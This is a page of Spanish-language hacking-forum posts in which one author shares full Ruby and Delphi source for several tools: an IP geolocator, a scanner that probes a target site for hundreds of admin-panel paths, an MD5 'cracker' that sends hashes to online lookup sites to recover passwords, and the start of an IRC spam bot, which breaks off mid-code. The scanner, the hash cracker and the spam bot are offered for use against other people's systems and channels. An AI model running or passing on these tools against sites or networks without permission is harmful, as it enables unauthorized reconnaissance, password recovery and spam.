elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Temas
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ... 43
51  Programación / Scripting / [Ruby] LocateIP 0.3 en: 27 Junio 2015, 01:18 am
Un simple script en Ruby para localizar una IP y sus DNS.

Version consola :

Código
  1. #!usr/bin/ruby
  2. #LocateIP 0.3
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "open-uri"
  6. require "net/http"  
  7. require "resolv"
  8.  
  9. # Functions
  10.  
  11. def get_ip(hostname)
  12. begin
  13. return Resolv.getaddress(hostname)
  14. rescue
  15. return "Error"
  16. end
  17. end
  18.  
  19. def toma(web)
  20. begin
  21. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  22. rescue
  23. return "Error"
  24. end
  25. end
  26.  
  27. def response_code(web)
  28. begin
  29. return Net::HTTP.get_response(URI(web)) .code
  30. rescue
  31. return "404"
  32. end
  33. end
  34.  
  35. def tomar(web,arg)
  36. begin
  37. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  38. uri = URI(web)
  39. http = Net::HTTP.new(uri.host, uri.port)
  40. return http.post(uri.path,arg, headers).body
  41. rescue
  42. return "Error"
  43. end
  44. end
  45.  
  46. def uso
  47. print "\n[+] Sintax : ruby locateip.rb <target>\n"
  48. end
  49.  
  50. def  head
  51. print "\n\n-- == LocateIP 0.3 == --\n\n"
  52. end
  53.  
  54. def copyright
  55. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  56. end
  57.  
  58. def locateip(target)
  59.  
  60. print "\n[+] Getting IP ...\n"
  61.  
  62. ip = get_ip(target)
  63.  
  64. print "\n[+] IP : "+ip+"\n"
  65.  
  66. web = "http://www.melissadata.com/lookups/iplocation.asp"
  67. print "\n[+] Locating ...\n\n"
  68.  
  69. code = tomar(web,"ipaddress="+ip+"&btn=Submit")
  70.  
  71. if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  72. print "[+] City : "+$2+"\n"
  73. else
  74. print "[+] City : Not Found\n"
  75. end
  76.  
  77. if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  78. print "[+] Country : "+$2+"\n"
  79. else
  80. print "[+] Country : Not Found\n"
  81. end
  82.  
  83. if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  84. print "[+] State or Region : "+$2+"\n";
  85. else
  86. print "[+] State of Region : Not Found\n"
  87. end
  88.  
  89. print "\n[+] Getting DNS ...\n\n"
  90.  
  91. control = "0"
  92.  
  93. code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
  94.  
  95. dnss = code.scan(/whois\/(.*?)\">Whois/)
  96.  
  97. dnss.flatten.each do |dns|
  98. begin
  99. if dns != ""
  100. control = "1"
  101. print "[+] DNS Found : "+dns
  102. end
  103. end
  104. end
  105.  
  106. if control=="0"
  107. print "\n[-] DNS Not Found\n"
  108. end
  109. end
  110.  
  111. target = ARGV[0]
  112.  
  113. head()
  114.  
  115. if !target
  116. uso()
  117. else
  118. locateip(target)
  119. end
  120.  
  121. copyright()
  122.  
  123. #The End ?
  124.  

Version Tk :

Código
  1. #!usr/bin/ruby
  2. #LocateIP 0.3
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "tk"
  6. require "open-uri"
  7. require "net/http"
  8. require "resolv"
  9.  
  10. # Functions
  11.  
  12. def get_ip(hostname)
  13. begin
  14. return Resolv.getaddress(hostname)
  15. rescue
  16. return "Error"
  17. end
  18. end
  19.  
  20. def toma(web)
  21. begin
  22. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  23. rescue
  24. return "Error"
  25. end
  26. end
  27.  
  28. def response_code(web)
  29. begin
  30. return Net::HTTP.get_response(URI(web)) .code
  31. rescue
  32. return "404"
  33. end
  34. end
  35.  
  36. def tomar(web,arg)
  37. begin
  38. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  39. uri = URI(web)
  40. http = Net::HTTP.new(uri.host, uri.port)
  41. return http.post(uri.path,arg, headers).body
  42. rescue
  43. return "Error"
  44. end
  45. end
  46.  
  47. #
  48.  
  49. window = TkRoot.new { title "LocateIP 0.3 (C) Doddy Hackman 2015" ; background "black" }
  50. window['geometry'] = '300x300-20+10'
  51.  
  52. TkLabel.new(window) do
  53. background "black"
  54. foreground "yellow"
  55. text "    Target : "
  56. place('relx'=>"0.1",'rely'=>"0.1")
  57. end
  58.  
  59. target = TkEntry.new(window){
  60. background "black"
  61. foreground "yellow"
  62. width 25
  63. place('relx'=>0.3,'rely'=>0.1)
  64. }
  65.  
  66. TkLabel.new(window) do
  67. background "black"
  68. foreground "yellow"
  69. text "Console"
  70. place('relx'=>0.4,'rely'=>0.2)
  71. end
  72.  
  73. console =TkText.new(window) do
  74. background "black"
  75. foreground "yellow"
  76. width 30
  77. height 10
  78. place('relx'=>0.1,'rely'=>0.3)
  79. end
  80.  
  81. TkButton.new(window) do
  82. text "Search"
  83.        background "black"
  84. foreground "yellow"
  85. width 17
  86. activebackground "yellow"
  87. highlightbackground  "yellow"
  88. command proc{
  89.  
  90. target = target.value.to_s
  91.  
  92. console.insert("end",  "[+] Getting IP ...\n")
  93.  
  94. ip = get_ip(target)
  95.  
  96. web = "http://www.melissadata.com/lookups/iplocation.asp"
  97.  
  98. console.insert("end", "\n[+] Locating ...\n\n")
  99.  
  100. code = tomar(web,"ipaddress="+ip+"&btn=Submit")
  101.  
  102. if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  103. console.insert("end", "[+] City : "+$2+"\n")
  104. else
  105. console.insert("end", "[+] City : Not Found\n")
  106. end
  107.  
  108. if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  109. console.insert("end","[+] Country : "+$2+"\n")
  110. else
  111. console.insert("end", "[+] Country : Not Found\n")
  112. end
  113.  
  114. if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  115. console.insert("end", "[+] State or Region : "+$2+"\n")
  116. else
  117. console.insert("end","[+] State of Region : Not Found\n")
  118. end
  119.  
  120. console.insert("end","\n[+] Getting DNS ...\n\n")
  121.  
  122. control = "0"
  123.  
  124. code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
  125.  
  126. dnss = code.scan(/whois\/(.*?)\">Whois/)
  127.  
  128. dnss.flatten.each do |dns|
  129. begin
  130. if dns != ""
  131. control = "1"
  132. console.insert("end", "[+] DNS Found : "+dns)
  133. end
  134. end
  135. end
  136.  
  137. if control=="0"
  138. console.insert("end","\n[-] DNS Not Found\n")
  139. end
  140.  
  141. console.insert("end","\n\n[+] Finished")
  142.  
  143. }
  144. place('relx'=>0.3,'rely'=>0.9)
  145. end
  146.  
  147. Tk.mainloop
  148.  
  149. #The End ?
  150.  

Una imagen :



Eso es todo.
52  Programación / Scripting / [Ruby] PanelFinder 0.5 en: 12 Junio 2015, 23:52 pm
Un simple script en Ruby para buscar el panel de administracion de una pagina.

Version consola :

Código
  1. #!usr/bin/ruby
  2. #PanelFinder 0.5
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "open-uri"
  6. require "net/http"  
  7.  
  8. # Functions
  9.  
  10. def toma(web)
  11. begin
  12. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  13. rescue
  14. return "Error"
  15. end
  16. end
  17.  
  18. def response_code(web)
  19. begin
  20. return Net::HTTP.get_response(URI(web)) .code
  21. rescue
  22. return "404"
  23. end
  24. end
  25.  
  26. def tomar(web,arg)
  27. begin
  28. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  29. uri = URI(web)
  30. http = Net::HTTP.new(uri.host, uri.port)
  31. return http.post(uri.path,arg, headers).body
  32. rescue
  33. return "Error"
  34. end
  35. end
  36.  
  37. def find_panel(page)
  38. panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
  39. print "\n[+] Scanning ...\n\n"
  40. control = "0"
  41. panels.each do |panel|
  42. begin
  43. url = page+"/"+panel
  44. status_code = response_code(url)
  45. if status_code=="200"
  46. print "[+] Link : "+url+"\n"
  47. control = "1"
  48. end
  49. end
  50. end
  51. if control=="1"
  52. print "\n[+] Finished\n"
  53. else
  54. print "\n[-] Not Found\n"
  55. end
  56. end
  57.  
  58. def uso
  59. print "\n[+] Sintax : ruby panel_finder.rb <page>\n"
  60. end
  61.  
  62. def  head
  63. print "\n\n-- ==  Panel Finder 0.5 == --\n\n"
  64. end
  65.  
  66. def copyright
  67. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  68. end
  69.  
  70. page = ARGV[0]
  71.  
  72. head()
  73.  
  74. if !page
  75. uso()
  76. else
  77. find_panel(page)
  78. end
  79.  
  80. copyright()
  81.  
  82. #The End ?
  83.  

Version Tk :

Código
  1. #!usr/bin/ruby
  2. #PanelFinder 0.5
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "tk"
  6. require "open-uri"
  7. require "net/http"
  8.  
  9. # Functions
  10.  
  11. def toma(web)
  12. begin
  13. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  14. rescue
  15. return "Error"
  16. end
  17. end
  18.  
  19. def response_code(web)
  20. begin
  21. return Net::HTTP.get_response(URI(web)) .code
  22. rescue
  23. return "404"
  24. end
  25. end
  26.  
  27. def tomar(web,arg)
  28. begin
  29. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  30. uri = URI(web)
  31. http = Net::HTTP.new(uri.host, uri.port)
  32. return http.post(uri.path,arg, headers).body
  33. rescue
  34. return "Error"
  35. end
  36. end
  37.  
  38. #
  39.  
  40. window = TkRoot.new { title "PanelFinder 0.5 (C) Doddy Hackman 2015" ; background "black" }
  41. window['geometry'] = '300x300-20+10'
  42.  
  43. TkLabel.new(window) do
  44. background "black"
  45. foreground "orange"
  46. text "     Page : "
  47. place('relx'=>"0.1",'rely'=>"0.1")
  48. end
  49.  
  50. page = TkEntry.new(window){
  51. background "black"
  52. foreground "orange"
  53. width 25
  54. place('relx'=>0.3,'rely'=>0.1)
  55. }
  56.  
  57. TkLabel.new(window) do
  58. background "black"
  59. foreground "orange"
  60. text "Console"
  61. place('relx'=>0.4,'rely'=>0.2)
  62. end
  63.  
  64. console =TkText.new(window) do
  65. background "black"
  66. foreground "orange"
  67. width 30
  68. height 10
  69. place('relx'=>0.1,'rely'=>0.3)
  70. end
  71.  
  72. TkButton.new(window) do
  73. text "Search"
  74.    background "black"
  75. foreground "orange"
  76. width 17
  77. activebackground "orange"
  78. highlightbackground  "orange"
  79. command proc{
  80.  
  81. page = page.value.to_s
  82. panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
  83. console.insert("end", "[+] Scanning ...\n\n")
  84. control = "0"
  85. panels.each do |panel|
  86. begin
  87. url = page+"/"+panel
  88. status_code = response_code(url)
  89. if status_code=="200"
  90. console.insert("end","[+] Link : "+url+"\n")
  91. control = "1"
  92. end
  93. end
  94. end
  95. if control=="1"
  96. console.insert("end","\n[+] Finished")
  97. else
  98. console.insert("end","\n[-] Not Found")
  99. end
  100.  
  101. }
  102. place('relx'=>0.3,'rely'=>0.9)
  103. end
  104.  
  105. Tk.mainloop
  106.  
  107. #The End ?
  108.  

Una imagen :



Eso es todo.
53  Programación / Scripting / [Ruby] MD5 Cracker 0.2 en: 29 Mayo 2015, 16:37 pm
Un simple script en Ruby para crackear un hash MD5.

Version consola :

Código
  1. #!usr/bin/ruby
  2. #MD5 Cracker 0.2
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "open-uri"
  6. require "net/http"  
  7.  
  8. # Functions
  9.  
  10. def toma(web)
  11. begin
  12. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  13. rescue
  14. return "Error"
  15. end
  16. end
  17.  
  18. def response_code(web)
  19. begin
  20. return Net::HTTP.get_response(URI(web)) .code
  21. rescue
  22. return "404"
  23. end
  24. end
  25.  
  26. def tomar(web,arg)
  27. begin
  28. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  29. uri = URI(web)
  30. http = Net::HTTP.new(uri.host, uri.port)
  31. return http.post(uri.path,arg, headers).body
  32. rescue
  33. return "Error"
  34. end
  35. end
  36.  
  37. def crack(md5)
  38.  
  39. print "\n[+] Cracking ...\n\n"
  40.  
  41. code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
  42.  
  43. if code=~/pass : <b>(.*?)<\/b>/
  44. password = $1
  45. print "[+] md5online.net -> "+password+"\n"
  46. else
  47. print "[-] md5online.net -> Not Found" + "\n"
  48. end
  49.  
  50. code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
  51.  
  52. if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
  53. password = $1
  54. print "[+] md5.my-addr.co -> "+password+"\n"
  55. else
  56. print "[-] md5.my-addr.co -> Not Found" +"\n"
  57. end
  58.  
  59. code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
  60.  
  61. if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
  62. password = $1
  63. print "[+] md5decryption.com -> "+password+"\n"
  64. else
  65. print "[-] md5decryption.com -> Not Found"+"\n"
  66. end
  67.  
  68. print "\n[+] Finished"
  69.  
  70. end
  71.  
  72. def uso
  73. print "\n[+] Sintax : ruby md5cracker.rb <md5>\n"
  74. end
  75.  
  76. def  head
  77. print "\n\n-- == MD5 Cracker 0.2 == --\n\n"
  78. end
  79.  
  80. def copyright
  81. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  82. end
  83.  
  84. #
  85.  
  86. md5 = ARGV[0]
  87.  
  88. head()
  89.  
  90. if !md5
  91. uso()
  92. else
  93. crack(md5)
  94. end
  95.  
  96. copyright()
  97.  
  98. #The End ?
  99.  

Version Tk :

Código
  1. #!usr/bin/ruby
  2. #MD5 Cracker 0.2
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "tk"
  6. require "open-uri"
  7. require "net/http"
  8.  
  9. #Functions
  10.  
  11. # Functions
  12.  
  13. def toma(web)
  14. begin
  15. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  16. rescue
  17. return "Error"
  18. end
  19. end
  20.  
  21. def response_code(web)
  22. begin
  23. return Net::HTTP.get_response(URI(web)) .code
  24. rescue
  25. return "404"
  26. end
  27. end
  28.  
  29. def tomar(web,arg)
  30. begin
  31. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  32. uri = URI(web)
  33. http = Net::HTTP.new(uri.host, uri.port)
  34. return http.post(uri.path,arg, headers).body
  35. rescue
  36. return "Error"
  37. end
  38. end
  39.  
  40. #
  41.  
  42. window = TkRoot.new { title "MD5 Cracker 0.2 (C) Doddy Hackman 2015" ; background "black" }
  43. window['geometry'] = '300x300-20+10'
  44.  
  45. TkLabel.new(window) do
  46. background "black"
  47. foreground "green"
  48. text "     MD5 : "
  49. place('relx'=>"0.1",'rely'=>"0.1")
  50. end
  51.  
  52. md5 = TkEntry.new(window){
  53. background "black"
  54. foreground "green"
  55. width 25
  56. place('relx'=>0.3,'rely'=>0.1)
  57. }
  58.  
  59. TkLabel.new(window) do
  60. background "black"
  61. foreground "green"
  62. text "Console"
  63. place('relx'=>0.4,'rely'=>0.2)
  64. end
  65.  
  66. console =TkText.new(window) do
  67. background "black"
  68. foreground "green"
  69. width 30
  70. height 10
  71. place('relx'=>0.1,'rely'=>0.3)
  72. end
  73.  
  74. TkButton.new(window) do
  75. text "Crack It"
  76.        background "black"
  77. foreground "green"
  78. width 17
  79. activebackground "green"
  80. highlightbackground  "green"
  81. command proc{
  82. md5 = md5.value.to_s
  83.  
  84. console.insert("end","[+] Cracking ...\n\n")
  85.  
  86. code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
  87. if code=~/pass : <b>(.*?)<\/b>/
  88. password = $1
  89. console.insert("end","[+] md5online.net -> "+password+"\n"  )
  90. else
  91. console.insert("end","[-] md5online.net -> Not Found" + "\n" )
  92. end
  93.  
  94. code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
  95.  
  96. if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
  97. password = $1
  98. console.insert("end","[+] md5.my-addr.co -> "+password+"\n")
  99. else
  100. console.insert("end","[-] md5.my-addr.co -> Not Found" +"\n")
  101. end
  102.  
  103. code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
  104.  
  105. if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
  106. password = $1
  107. console.insert("end","[+] md5decryption.com -> "+password+"\n")
  108. else
  109. console.insert("end","[-] md5decryption.com -> Not Found"+"\n")
  110.        end
  111.  
  112. console.insert("end","\n[+] Finished\n" )
  113.  
  114. }
  115. place('relx'=>0.3,'rely'=>0.9)
  116. end
  117.  
  118. Tk.mainloop
  119.  
  120. #The End ?
  121.  

Una imagen :



Eso es todo.
54  Programación / Programación General / [Delphi] KingSpam 0.4 en: 22 Mayo 2015, 17:23 pm
Un simple programa para hacer spam en canales IRC , tambien puede listar canales y usuarios.

Es algo inestable les recomiendo la version en Perl.

Una imagen :



Código
  1. // KingSpam 0.4
  2. // (C) Doddy Hackman 2015
  3.  
  4. unit spam;
  5.  
  6. interface
  7.  
  8. uses
  9.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.  System.Classes, Vcl.Graphics,
  11.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  12.  Vcl.Imaging.pngimage, Vcl.ExtCtrls, IdContext, IdBaseComponent, IdComponent,
  13.  IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx, Vcl.Menus,
  14.  ShellApi;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    PageControl1: TPageControl;
  19.    TabSheet1: TTabSheet;
  20.    GroupBox1: TGroupBox;
  21.    Label1: TLabel;
  22.    host: TEdit;
  23.    Label2: TLabel;
  24.    port: TEdit;
  25.    Label3: TLabel;
  26.    nombre: TEdit;
  27.    Label4: TLabel;
  28.    canal: TEdit;
  29.    Label5: TLabel;
  30.    spam: TEdit;
  31.    Button1: TButton;
  32.    Button2: TButton;
  33.    Button3: TButton;
  34.    TabSheet2: TTabSheet;
  35.    GroupBox2: TGroupBox;
  36.    GroupBox3: TGroupBox;
  37.    canales: TListBox;
  38.    users: TListBox;
  39.    TabSheet3: TTabSheet;
  40.    GroupBox4: TGroupBox;
  41.    GroupBox5: TGroupBox;
  42.    lista_canales: TListBox;
  43.    console1: TMemo;
  44.    Label6: TLabel;
  45.    canal_agregar: TEdit;
  46.    Button4: TButton;
  47.    Button5: TButton;
  48.    TabSheet5: TTabSheet;
  49.    GroupBox8: TGroupBox;
  50.    console2: TMemo;
  51.    IdIRC1: TIdIRC;
  52.    Button9: TButton;
  53.    StatusBar1: TStatusBar;
  54.    GroupBox6: TGroupBox;
  55.    canal_spam_usuarios: TEdit;
  56.    TabSheet4: TTabSheet;
  57.    GroupBox7: TGroupBox;
  58.    Image2: TImage;
  59.    Label7: TLabel;
  60.    PopupMenu1: TPopupMenu;
  61.    L1: TMenuItem;
  62.    R1: TMenuItem;
  63.    OpenDialog1: TOpenDialog;
  64.    file_spam: TListBox;
  65.    spam_usuarios: TTimer;
  66.    Button11: TButton;
  67.    Button6: TButton;
  68.    otrospamfile: TListBox;
  69.    Image3: TImage;
  70.    procedure Button2Click(Sender: TObject);
  71.    procedure IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  72.      const AMessage: string);
  73.  
  74.    procedure Button3Click(Sender: TObject);
  75.    procedure Button4Click(Sender: TObject);
  76.    procedure Button5Click(Sender: TObject);
  77.  
  78.    procedure Button1Click(Sender: TObject);
  79.    procedure L1Click(Sender: TObject);
  80.    procedure R1Click(Sender: TObject);
  81.    procedure spam_usuariosTimer(Sender: TObject);
  82.    procedure Button11Click(Sender: TObject);
  83.    procedure Button6Click(Sender: TObject);
  84.    procedure FormCreate(Sender: TObject);
  85.  
  86.  private
  87.    { Private declarations }
  88.  public
  89.    { Public declarations }
  90.  end;
  91.  
  92. var
  93.  Form1: TForm1;
  94.  buscando_usuarios: string;
  95.  buscando_canales: string;
  96.  control_guardar_canales: string;
  97.  control_guardar_users: string;
  98.  
  99. implementation
  100.  
  101. {$R *.dfm}
  102. // Functions
  103.  
  104. procedure savefile(filename, texto: string);
  105. var
  106.  ar: TextFile;
  107.  
  108. begin
  109.  
  110.  AssignFile(ar, filename);
  111.  FileMode := fmOpenWrite;
  112.  
  113.  if FileExists(filename) then
  114.    Append(ar)
  115.  else
  116.    Rewrite(ar);
  117.  
  118.  Write(ar, texto + sLineBreak);
  119.  CloseFile(ar);
  120.  
  121. end;
  122.  
  123. procedure TForm1.Button11Click(Sender: TObject);
  124. begin
  125.  StatusBar1.Panels[0].Text := '[+] Finished';
  126.  StatusBar1.Update;
  127.  IdIRC1.Disconnect;
  128.  spam_usuarios.Enabled := false;
  129. end;
  130.  
  131. procedure TForm1.Button1Click(Sender: TObject);
  132. var
  133.  i: integer;
  134.  contenido: TStringList;
  135.  stream: TFileStream;
  136. begin
  137.  
  138.  file_spam.Clear;
  139.  
  140.  if OpenDialog1.Execute then
  141.  begin
  142.  
  143.    spam.Text := OpenDialog1.filename;
  144.  
  145.    contenido := TStringList.Create;
